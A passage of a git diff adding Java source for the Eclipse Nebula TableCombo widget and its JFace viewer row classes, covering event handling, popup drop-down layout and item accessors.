rowIndex); + } else { + item = new TableItem(tableCombo.getTable(), style); + } + + return getViewerRowFromItem(item); + } + + /** + * {@inheritDoc} + */ + protected ColumnViewerEditor createViewerEditor() { + return null; + } + + /** + * {@inheritDoc} + */ + protected int doGetColumnCount() { + return tableCombo.getTable().getColumnCount(); + } + + /** + * {@inheritDoc} + */ + protected Item getItemAt(Point point) { + return tableCombo.getTable().getItem(point); + } + + /** + * {@inheritDoc} + */ + protected ViewerRow getViewerRowFromItem(Widget item) { + if (cachedRow == null) { + cachedRow = new TableComboViewerRow((TableItem) item); + } else { + cachedRow.setItem((TableItem) item); + } + + return cachedRow; + } + + /** + * {@inheritDoc} + */ + public Control getControl() { + return tableCombo; + } + + /** + * returns the TableCombo reference. + * @return + */ + public TableCombo getTableCombo() { + return tableCombo; + } + + /** + * {@inheritDoc} + */ + protected void handleLabelProviderChanged(LabelProviderChangedEvent event) { + super.handleLabelProviderChanged(event); + setSelection(getSelection()); + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/src/org/eclipse/nebula/jface/tablecomboviewer/TableComboViewerRow.java b/base_plugins/org.eclipse.nebula.widgets.tablecombo/src/org/eclipse/nebula/jface/tablecomboviewer/TableComboViewerRow.java new file mode 100644 index 0000000..50edcc6 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/src/org/eclipse/nebula/jface/tablecomboviewer/TableComboViewerRow.java @@ -0,0 +1,269 @@ +/**************************************************************************** + * Copyright (c) 2000, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * Marty Jones - initial API and implementation + *****************************************************************************/ + +package org.eclipse.nebula.jface.tablecomboviewer; + +import org.eclipse.jface.viewers.TreePath; +import org.eclipse.jface.viewers.ViewerRow; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.Widget; + +/** + * TableComboViewerRow is basically identical to the TableRow class with a + * few modifications to reference the TableComboViewer row instead of a standar + * TableViewer row. + * + */ +/** + * @author martyj + */ +public class TableComboViewerRow extends ViewerRow { + private TableItem item; + + /** + * Create a new instance of the receiver from item. + * @param item + */ + TableComboViewerRow(TableItem item) { + this.item = item; + } + + /** + * {@inheritDoc} + */ + public Rectangle getBounds(int columnIndex) { + return item.getBounds(columnIndex); + } + + /** + * {@inheritDoc} + */ + public Rectangle getBounds() { + return item.getBounds(); + } + + /** + * {@inheritDoc} + */ + public Widget getItem() { + return item; + } + + void setItem(TableItem item) { + this.item = item; + } + + /** + * {@inheritDoc} + */ + public int getColumnCount() { + return item.getParent().getColumnCount(); + } + + /** + * {@inheritDoc} + */ + public Color getBackground(int columnIndex) { + return item.getBackground(columnIndex); + } + + /** + * {@inheritDoc} + */ + public Font getFont(int columnIndex) { + return item.getFont(columnIndex); + } + + /** + * {@inheritDoc} + */ + public Color getForeground(int columnIndex) { + return item.getForeground(columnIndex); + } + + /** + * {@inheritDoc} + */ + public Image getImage(int columnIndex) { + return item.getImage(columnIndex); + } + + /** + * {@inheritDoc} + */ + public String getText(int columnIndex) { + return item.getText(columnIndex); + } + + /** + * {@inheritDoc} + */ + public void setBackground(int columnIndex, Color color) { + item.setBackground(columnIndex, color); + } + + /** + * {@inheritDoc} + */ + public void setFont(int columnIndex, Font font) { + item.setFont(columnIndex, font); + } + + /** + * {@inheritDoc} + */ + public void setForeground(int columnIndex, Color color) { + item.setForeground(columnIndex, color); + } + + /** + * {@inheritDoc} + */ + public void setImage(int columnIndex, Image image) { + Image oldImage = item.getImage(columnIndex); + if (oldImage != image) { + item.setImage(columnIndex, image); + } + } + + /** + * {@inheritDoc} + */ + public void setText(int columnIndex, String text) { + item.setText(columnIndex, text == null ? "" : text); //$NON-NLS-1$ + } + + /** + * {@inheritDoc} + */ + public Control getControl() { + return item.getParent(); + } + + /** + * {@inheritDoc} + */ + public ViewerRow getNeighbor(int direction, boolean sameLevel) { + if (direction == ViewerRow.ABOVE) { + return getRowAbove(); + } else if (direction == ViewerRow.BELOW) { + return getRowBelow(); + } else { + throw new IllegalArgumentException("Illegal value of direction argument."); //$NON-NLS-1$ + } + } + + private ViewerRow getRowAbove() { + int index = item.getParent().indexOf(item) - 1; + + if (index >= 0) { + return new TableComboViewerRow(item.getParent().getItem(index)); + } + + return null; + } + + private ViewerRow getRowBelow() { + int index = item.getParent().indexOf(item) + 1; + + if (index < item.getParent().getItemCount()) { + TableItem tmp = item.getParent().getItem(index); + // TODO NULL can happen in case of VIRTUAL => How do we deal with that + if (tmp != null) { + return new TableComboViewerRow(tmp); + } + } + + return null; + } + + /** + * {@inheritDoc} + */ + public TreePath getTreePath() { + return new TreePath(new Object[] { item.getData() }); + } + + /** + * {@inheritDoc} + */ + public Object clone() { + return new TableComboViewerRow(item); + } + + /** + * {@inheritDoc} + */ + public Object getElement() { + return item.getData(); + } + + /** + * {@inheritDoc} + */ + public int getVisualIndex(int creationIndex) { + int[] order = item.getParent().getColumnOrder(); + + for (int i = 0; i < order.length; i++) { + if (order[i] == creationIndex) { + return i; + } + } + + return super.getVisualIndex(creationIndex); + } + + /** + * {@inheritDoc} + */ + public int getCreationIndex(int visualIndex) { + if (item != null && !item.isDisposed() && hasColumns() && isValidOrderIndex(visualIndex)) { + return item.getParent().getColumnOrder()[visualIndex]; + } + return super.getCreationIndex(visualIndex); + } + + /** + * {@inheritDoc} + */ + public Rectangle getTextBounds(int index) { + return item.getTextBounds(index); + } + + /** + * {@inheritDoc} + */ + public Rectangle getImageBounds(int index) { + return item.getImageBounds(index); + } + + private boolean hasColumns() { + return this.item.getParent().getColumnCount() != 0; + } + + private boolean isValidOrderIndex(int currentIndex) { + return currentIndex < this.item.getParent().getColumnOrder().length; + } + + protected boolean scrollCellIntoView(int columnIndex) { + item.getParent().showItem(item); + if (hasColumns()) { + item.getParent().showColumn(item.getParent().getColumn(columnIndex)); + } + + return true; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/src/org/eclipse/nebula/widgets/tablecombo/TableCombo.java b/base_plugins/org.eclipse.nebula.widgets.tablecombo/src/org/eclipse/nebula/widgets/tablecombo/TableCombo.java new file mode 100644 index 0000000..64cb26e --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/src/org/eclipse/nebula/widgets/tablecombo/TableCombo.java @@ -0,0 +1,2375 @@ +/**************************************************************************** + * Copyright (c) 2000, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * Marty Jones - initial API and implementation + * Enrico Schnepel - clear selectedImage bug 297209 + * Enrico Schnepel - disable selectedImage bug 297327 + * Wolfgang Schramm - added vertical alignment of text for selected table item. + * Enrico Schnepel - help event listener bug 326285 + *****************************************************************************/ + +package org.eclipse.nebula.widgets.tablecombo; + +import java.lang.reflect.InvocationTargetException; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.SWTException; +import org.eclipse.swt.accessibility.ACC; +import org.eclipse.swt.accessibility.AccessibleAdapter; +import org.eclipse.swt.accessibility.AccessibleControlAdapter; +import org.eclipse.swt.accessibility.AccessibleControlEvent; +import org.eclipse.swt.accessibility.AccessibleEvent; +import org.eclipse.swt.accessibility.AccessibleTextAdapter; +import org.eclipse.swt.accessibility.AccessibleTextEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.events.VerifyListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Layout; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.TypedListener; +import org.eclipse.swt.widgets.Widget; + +/** + * The TableCombo class represents a selectable user interface object that combines a label, textfield, and a table and + * issues notification when an item is selected from the table. Note: This widget is basically a extension of the CCombo + * widget. The list control was replaced by a Table control and a Label control was added so that images can be + * displayed when a value from the drop down items has a image associated to it. + *

    + * TableCombo was written to allow the user to be able to display multiple columns of data in the "Drop Down" portion of + * the combo. + *

    + *

    + * Special Note: Although this class is a subclass of Composite, it does not make sense to add children to + * it, or set a layout on it. + *

    + *
    + *
    Styles: + *
    BORDER, READ_ONLY, FLAT
    + *
    Events: + *
    DefaultSelection, Modify, Selection, Verify
    + *
    + */ + +public class TableCombo extends Composite { + private Shell popup; + private Button arrow; + private Label selectedImage; + private Text text; + private Table table; + private Font font; + private boolean hasFocus; + private int visibleItemCount = 7; + private Listener listener; + private Listener focusFilter; + private int displayColumnIndex = 0; + private Color foreground; + private Color background; + private int[] columnWidths; + private int tableWidthPercentage = 100; + private boolean showImageWithinSelection = true; + private boolean showColorWithinSelection = true; + private boolean showFontWithinSelection = true; + + /** + * Constructs a new instance of this class given its parent and a style value describing its behavior and + * appearance. + *

    + * The style value is either one of the style constants defined in class SWT which is applicable to + * instances of this class, or must be built by bitwise OR'ing together (that is, using the + * int "|" operator) two or more of those SWT style constants. The class description lists + * the style constants that are applicable to the class. Style bits are also inherited from superclasses. + *

    + * @param parent + * a widget which will be the parent of the new instance (cannot be null) + * @param style + * the style of widget to construct + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the parent
    • + *
    + * @see SWT#BORDER + * @see SWT#READ_ONLY + * @see SWT#FLAT + * @see Widget#getStyle() + */ + public TableCombo(Composite parent, int style) { + super(parent, style = checkStyle(style)); + + // set the label style + int textStyle = SWT.SINGLE; + if ((style & SWT.READ_ONLY) != 0) + textStyle |= SWT.READ_ONLY; + if ((style & SWT.FLAT) != 0) + textStyle |= SWT.FLAT; + + // set control background to white + setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_WHITE)); + + // create label to hold image if necessary. + selectedImage = new Label(this, SWT.NONE); + selectedImage.setAlignment(SWT.RIGHT); + selectedImage.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_WHITE)); + + getLayout(); + + // create the control to hold the display text of what the user + // selected. + text = new Text(this, textStyle); + text.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_WHITE)); + + // set the arrow style. + int arrowStyle = SWT.ARROW | SWT.DOWN; + if ((style & SWT.FLAT) != 0) + arrowStyle |= SWT.FLAT; + + // create the down arrow button + arrow = new Button(this, arrowStyle); + + // now add a listener to listen to the events we are interested in. + listener = new Listener() { + public void handleEvent(Event event) { + if (isDisposed()) + return; + + // check for a popup event + if (popup == event.widget) { + popupEvent(event); + return; + } + + if (text == event.widget) { + textEvent(event); + return; + } + + // check for a table event + if (table == event.widget) { + tableEvent(event); + return; + } + + // check for arrow event + if (arrow == event.widget) { + arrowEvent(event); + return; + } + + // check for this widget's event + if (TableCombo.this == event.widget) { + comboEvent(event); + return; + } + + // check for shell event + if (getShell() == event.widget) { + getDisplay().asyncExec(new Runnable() { + public void run() { + if (isDisposed()) + return; + handleFocus(SWT.FocusOut); + } + }); + } + } + }; + + // create new focus listener + focusFilter = new Listener() { + public void handleEvent(Event event) { + if (isDisposed()) + return; + Shell shell = ((Control) event.widget).getShell(); + + if (shell == TableCombo.this.getShell()) { + handleFocus(SWT.FocusOut); + } + } + }; + + // set the listeners for this control + int[] comboEvents = { SWT.Dispose, SWT.FocusIn, SWT.Move, SWT.Resize }; + for (int i = 0; i < comboEvents.length; i++) + this.addListener(comboEvents[i], listener); + + int[] textEvents = { SWT.DefaultSelection, SWT.KeyDown, SWT.KeyUp, SWT.MenuDetect, SWT.Modify, SWT.MouseDown, + SWT.MouseUp, SWT.MouseDoubleClick, SWT.MouseWheel, SWT.Traverse, SWT.FocusIn, SWT.Verify }; + for (int i = 0; i < textEvents.length; i++) + text.addListener(textEvents[i], listener); + + // set the listeners for the arrow image + int[] arrowEvents = { SWT.Selection, SWT.FocusIn }; + for (int i = 0; i < arrowEvents.length; i++) + arrow.addListener(arrowEvents[i], listener); + + // initialize the drop down + createPopup(-1); + + initAccessible(); + } + + /** + * @param style + * @return + */ + private static int checkStyle(int style) { + int mask = SWT.BORDER | SWT.READ_ONLY | SWT.FLAT | SWT.LEFT_TO_RIGHT | SWT.RIGHT_TO_LEFT; + return SWT.NO_FOCUS | (style & mask); + } + + /** + * Adds the listener to the collection of listeners who will be notified when the receiver's text is modified, by + * sending it one of the messages defined in the ModifyListener interface. + * @param listener + * the listener which should be notified + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @see ModifyListener + * @see #removeModifyListener + */ + public void addModifyListener(ModifyListener listener) { + checkWidget(); + if (listener == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + TypedListener typedListener = new TypedListener(listener); + addListener(SWT.Modify, typedListener); + } + + /** + * Adds the listener to the collection of listeners who will be notified when the user changes the receiver's + * selection, by sending it one of the messages defined in the SelectionListener interface. + *

    + * widgetSelected is called when the combo's list selection changes. widgetDefaultSelected + * is typically called when ENTER is pressed the combo's text area. + *

    + * @param listener + * the listener which should be notified when the user changes the receiver's selection + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @see SelectionListener + * @see #removeSelectionListener + * @see SelectionEvent + */ + public void addSelectionListener(SelectionListener listener) { + checkWidget(); + if (listener == null) { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + TypedListener typedListener = new TypedListener(listener); + addListener(SWT.Selection, typedListener); + addListener(SWT.DefaultSelection, typedListener); + } + + /** + * Adds the listener to the collection of listeners who will be notified when the user presses keys in the text + * field. interface. + * @param listener + * the listener which should be notified when the user presses keys in the text control. + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public void addTextControlKeyListener(KeyListener listener) { + checkWidget(); + if (listener == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + text.addKeyListener(listener); + } + + /** + * Removes the listener from the collection of listeners who will be notified when the user presses keys in the text + * control. + * @param listener + * the listener which should no longer be notified + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public void removeTextControlKeyListener(KeyListener listener) { + checkWidget(); + if (listener == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + text.removeKeyListener(listener); + } + + /** + * Adds the listener to the collection of listeners who will be notified when the receiver's text is verified, by + * sending it one of the messages defined in the VerifyListener interface. + * @param listener + * the listener which should be notified + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @see VerifyListener + * @see #removeVerifyListener + * @since 3.3 + */ + public void addVerifyListener(VerifyListener listener) { + checkWidget(); + if (listener == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + TypedListener typedListener = new TypedListener(listener); + addListener(SWT.Verify, typedListener); + } + + /** + * Handle Arrow Event + * @param event + */ + private void arrowEvent(Event event) { + switch (event.type) { + case SWT.FocusIn: { + handleFocus(SWT.FocusIn); + break; + } + case SWT.MouseDown: { + Event mouseEvent = new Event(); + mouseEvent.button = event.button; + mouseEvent.count = event.count; + mouseEvent.stateMask = event.stateMask; + mouseEvent.time = event.time; + mouseEvent.x = event.x; + mouseEvent.y = event.y; + notifyListeners(SWT.MouseDown, mouseEvent); + event.doit = mouseEvent.doit; + break; + } + case SWT.MouseUp: { + Event mouseEvent = new Event(); + mouseEvent.button = event.button; + mouseEvent.count = event.count; + mouseEvent.stateMask = event.stateMask; + mouseEvent.time = event.time; + mouseEvent.x = event.x; + mouseEvent.y = event.y; + notifyListeners(SWT.MouseUp, mouseEvent); + event.doit = mouseEvent.doit; + break; + } + case SWT.Selection: { + text.setFocus(); + dropDown(!isDropped()); + break; + } + } + } + + /** + * Sets the selection in the receiver's text field to an empty selection starting just before the first character. + * If the text field is editable, this has the effect of placing the i-beam at the start of the text. + *

    + * Note: To clear the selected items in the receiver's list, use deselectAll(). + *

    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @see #deselectAll + */ + public void clearSelection() { + checkWidget(); + text.clearSelection(); + table.deselectAll(); + } + + /** + * Handle Combo events + * @param event + */ + private void comboEvent(Event event) { + switch (event.type) { + case SWT.Dispose: + removeListener(SWT.Dispose, listener); + notifyListeners(SWT.Dispose, event); + event.type = SWT.None; + + if (popup != null && !popup.isDisposed()) { + table.removeListener(SWT.Dispose, listener); + popup.dispose(); + } + Shell shell = getShell(); + shell.removeListener(SWT.Deactivate, listener); + Display display = getDisplay(); + display.removeFilter(SWT.FocusIn, focusFilter); + popup = null; + text = null; + table = null; + arrow = null; + selectedImage = null; + break; + case SWT.FocusIn: + Control focusControl = getDisplay().getFocusControl(); + if (focusControl == arrow || focusControl == table) + return; + if (isDropped()) { + table.setFocus(); + } else { + text.setFocus(); + } + break; + case SWT.Move: + dropDown(false); + break; + case SWT.Resize: + internalLayout(false); + break; + } + } + + /** + * {@inheritDoc} + */ + public Point computeSize(int wHint, int hHint, boolean changed) { + checkWidget(); + + int overallWidth = 0; + int overallHeight = 0; + int borderWidth = getBorderWidth(); + + // use user defined values if they are specified. + if (wHint != SWT.DEFAULT && hHint != SWT.DEFAULT) { + overallWidth = wHint; + overallHeight = hHint; + } else { + TableItem[] tableItems = table.getItems(); + + GC gc = new GC(text); + int spacer = gc.stringExtent(" ").x; //$NON-NLS-1$ + int maxTextWidth = gc.stringExtent(text.getText()).x; + int colIndex = getDisplayColumnIndex(); + int maxImageHeight = 0; + int currTextWidth = 0; + + // calculate the maximum text width and image height. + for (int i = 0; i < tableItems.length; i++) { + currTextWidth = gc.stringExtent(tableItems[i].getText(colIndex)).x; + + // take image into account if there is one for the tableitem. + if (tableItems[i].getImage() != null) { + currTextWidth += tableItems[i].getImage().getBounds().width; + maxImageHeight = Math.max(tableItems[i].getImage().getBounds().height, maxImageHeight); + } + + maxTextWidth = Math.max(currTextWidth, maxTextWidth); + } + + gc.dispose(); + Point textSize = text.computeSize(SWT.DEFAULT, SWT.DEFAULT, changed); + Point arrowSize = arrow.computeSize(SWT.DEFAULT, SWT.DEFAULT, changed); + Point tableSize = table.computeSize(SWT.DEFAULT, SWT.DEFAULT, changed); + + overallHeight = Math.max(textSize.y, arrowSize.y); + overallHeight = Math.max(maxImageHeight, overallHeight); + overallWidth = Math.max(maxTextWidth + 2 * spacer + arrowSize.x + 2 * borderWidth, tableSize.x); + + // use user specified if they were entered. + if (wHint != SWT.DEFAULT) + overallWidth = wHint; + if (hHint != SWT.DEFAULT) + overallHeight = hHint; + } + + return new Point(overallWidth + 2 * borderWidth, overallHeight + 2 * borderWidth); + } + + /** + * Copies the selected text. + *

    + * The current selection is copied to the clipboard. + *

    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @since 3.3 + */ + public void copy() { + checkWidget(); + text.copy(); + } + + /** + * creates the popup shell. + * @param selectionIndex + */ + void createPopup(int selectionIndex) { + // create shell and table + popup = new Shell(getShell(), SWT.NO_TRIM | SWT.ON_TOP); + + // set style + int style = getStyle(); + int tableStyle = SWT.SINGLE | SWT.V_SCROLL; + if ((style & SWT.FLAT) != 0) + tableStyle |= SWT.FLAT; + if ((style & SWT.RIGHT_TO_LEFT) != 0) + tableStyle |= SWT.RIGHT_TO_LEFT; + if ((style & SWT.LEFT_TO_RIGHT) != 0) + tableStyle |= SWT.LEFT_TO_RIGHT; + + // create table + table = new Table(popup, SWT.SINGLE | SWT.FULL_SELECTION); + + if (font != null) + table.setFont(font); + if (foreground != null) + table.setForeground(foreground); + if (background != null) + table.setBackground(background); + + // Add popup listeners + int[] popupEvents = { SWT.Close, SWT.Paint, SWT.Deactivate, SWT.Help }; + for (int i = 0; i < popupEvents.length; i++) { + popup.addListener(popupEvents[i], listener); + } + + // add table listeners + int[] tableEvents = { SWT.MouseMove, SWT.MouseUp, SWT.Selection, SWT.Traverse, SWT.KeyDown, SWT.KeyUp, + SWT.FocusIn, SWT.Dispose }; + for (int i = 0; i < tableEvents.length; i++) { + table.addListener(tableEvents[i], listener); + } + + // set the selection + if (selectionIndex != -1) { + table.setSelection(selectionIndex); + } + } + + /** + * Cuts the selected text. + *

    + * The current selection is first copied to the clipboard and then deleted from the widget. + *

    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @since 3.3 + */ + public void cut() { + checkWidget(); + text.cut(); + } + + /** + * handle DropDown request + * @param drop + */ + void dropDown(boolean drop) { + + // if already dropped then return + if (drop == isDropped()) + return; + + // closing the dropDown + if (!drop) { + popup.setVisible(false); + if (!isDisposed() && isFocusControl()) { + text.setFocus(); + } + return; + } + + // if not visible then return + if (!isVisible()) + return; + + // create a new popup if needed. + if (getShell() != popup.getParent()) { + int selectionIndex = table.getSelectionIndex(); + table.removeListener(SWT.Dispose, listener); + popup.dispose(); + popup = null; + table = null; + createPopup(selectionIndex); + } + + // get the size of the TableCombo. + Point tableComboSize = getSize(); + + // calculate the table height. + int itemCount = table.getItemCount(); + itemCount = (itemCount == 0) ? visibleItemCount : Math.min(visibleItemCount, itemCount); + int itemHeight = (table.getItemHeight() * itemCount); + + // add 1 to the table height if the table item count is less than the + // visible item count. + if (table.getItemCount() <= visibleItemCount) { + itemHeight += 1; + } + + // add height of header if the header is being displayed. + if (table.getHeaderVisible()) { + itemHeight += table.getHeaderHeight(); + } + + // get table column references + TableColumn[] tableColumns = table.getColumns(); + int totalColumns = (tableColumns == null ? 0 : tableColumns.length); + + // check to make sure at least one column has been specified. if it + // hasn't + // then just create a blank one. + if (table.getColumnCount() == 0) { + new TableColumn(table, SWT.NONE); + totalColumns = 1; + tableColumns = table.getColumns(); + } + + int totalColumnWidth = 0; + // now pack any columns that do not have a explicit value set for them. + for (int colIndex = 0; colIndex < totalColumns; colIndex++) { + if (!wasColumnWidthSpecified(colIndex)) { + tableColumns[colIndex].pack(); + } + totalColumnWidth += tableColumns[colIndex].getWidth(); + } + + // reset the last column's width to the preferred size if it has a + // explicit value. + int lastColIndex = totalColumns - 1; + if (wasColumnWidthSpecified(lastColIndex)) { + tableColumns[lastColIndex].setWidth(columnWidths[lastColIndex]); + } + + // calculate the table size after making adjustments. + Point tableSize = table.computeSize(SWT.DEFAULT, itemHeight, false); + + // calculate the table width and table height. + double pct = tableWidthPercentage / 100d; + int tableWidth = (int) (Math.max(tableComboSize.x - 2, tableSize.x) * pct); + int tableHeight = tableSize.y; + + // add the width of a horizontal scrollbar to the table height if we are + // not viewing the full table. + if (tableWidthPercentage < 100) { + tableHeight += table.getHorizontalBar().getSize().y; + } + + // set the bounds on the table. + table.setBounds(1, 1, tableWidth, tableHeight); + + // check to see if we can adjust the table width to by the amount the + // vertical + // scrollbar would have taken since the table auto allocates the space + // whether + // it is needed or not. + if (!table.getVerticalBar().getVisible() + && tableSize.x - table.getVerticalBar().getSize().x >= tableComboSize.x - 2) { + + tableWidth = tableWidth - table.getVerticalBar().getSize().x; + + // reset the bounds on the table. + table.setBounds(1, 1, tableWidth, tableHeight); + } + + table.getHorizontalBar().setVisible(false); + + // adjust the last column to make sure that there is no empty space. + autoAdjustColumnWidthsIfNeeded(tableColumns, tableWidth, totalColumnWidth); + + // set the table top index if there is a valid selection. + String indexStr = (String) text.getData(); + if (indexStr != null && !indexStr.equals("")) { + int index = Integer.parseInt(indexStr); + table.setSelection(index); + table.setTopIndex(index); + } + + // calculate popup dimensions. + Display display = getDisplay(); + Rectangle tableRect = table.getBounds(); + Rectangle parentRect = display.map(getParent(), null, getBounds()); + Point comboSize = getSize(); + Rectangle displayRect = getMonitor().getClientArea(); + + int overallWidth = 0; + + // now set what the overall width should be. + if (tableWidthPercentage < 100) { + overallWidth = tableRect.width + 2; + } else { + overallWidth = Math.max(comboSize.x, tableRect.width + 2); + } + + int overallHeight = tableRect.height + 2; + int x = parentRect.x; + int y = parentRect.y + comboSize.y; + if (y + overallHeight > displayRect.y + displayRect.height) + y = parentRect.y - overallHeight; + if (x + overallWidth > displayRect.x + displayRect.width) + x = displayRect.x + displayRect.width - tableRect.width; + + // set the bounds of the popup + popup.setBounds(x, y, overallWidth, overallHeight); + + // set the popup visible + popup.setVisible(true); + + // set focus on the table. + table.setFocus(); + } + + /* + * Return the Label immediately preceding the receiver in the z-order, or null if none. + */ + private Label getAssociatedLabel() { + Control[] siblings = getParent().getChildren(); + for (int i = 0; i < siblings.length; i++) { + if (siblings[i] == TableCombo.this) { + if (i > 0 && siblings[i - 1] instanceof Label) { + return (Label) siblings[i - 1]; + } + } + } + return null; + } + + /** + * {@inheritDoc} + */ + public Control[] getChildren() { + checkWidget(); + return new Control[0]; + } + + /** + * Gets the editable state. + * @return whether or not the receiver is editable + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * @since 3.0 + */ + public boolean getEditable() { + checkWidget(); + return text.getEditable(); + } + + /** + * Returns the item at the given, zero-relative index in the receiver's list. Throws an exception if the index is + * out of range. + * @param index + * the index of the item to return + * @return the item at the given index + * @exception IllegalArgumentException + *
      + *
    • ERROR_INVALID_RANGE - if the index is not between 0 and the number of elements in the list + * minus 1 (inclusive)
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public String getItem(int index) { + checkWidget(); + return table.getItem(index).getText(getDisplayColumnIndex()); + } + + /** + * Returns the number of items contained in the receiver's list. + * @return the number of items + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public int getItemCount() { + checkWidget(); + return table.getItemCount(); + } + + /** + * Returns the height of the area which would be used to display one of the items in the receiver's list. + * @return the height of one item + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public int getItemHeight() { + checkWidget(); + return table.getItemHeight(); + } + + /** + * Returns an array of Strings which are the items in the receiver's list. + *

    + * Note: This is not the actual structure used by the receiver to maintain its list of items, so modifying the array + * will not affect the receiver. + *

    + * @return the items in the receiver's list + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + */ + public String[] getItems() { + checkWidget(); + + // get a list of the table items. + TableItem[] tableItems = table.getItems(); + + int totalItems = (tableItems == null ? 0 : tableItems.length); + + // create string array to hold the total number of items. + String[] stringItems = new String[totalItems]; + + int colIndex = getDisplayColumnIndex(); + + // now copy the display string from the tableitems. + for (int index = 0; index < totalItems; index++) { + stringItems[index] = tableItems[index].getText(colIndex); + } + + return stringItems; + } + + /** + * Returns a Point whose x coordinate is the start of the selection in the receiver's text field, and + * whose y coordinate is the end of the selection. The returned values are zero-relative. An "empty" selection as + * indicated by the the x and y coordinates having the same value. + * @return a point representing the selection start and end + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
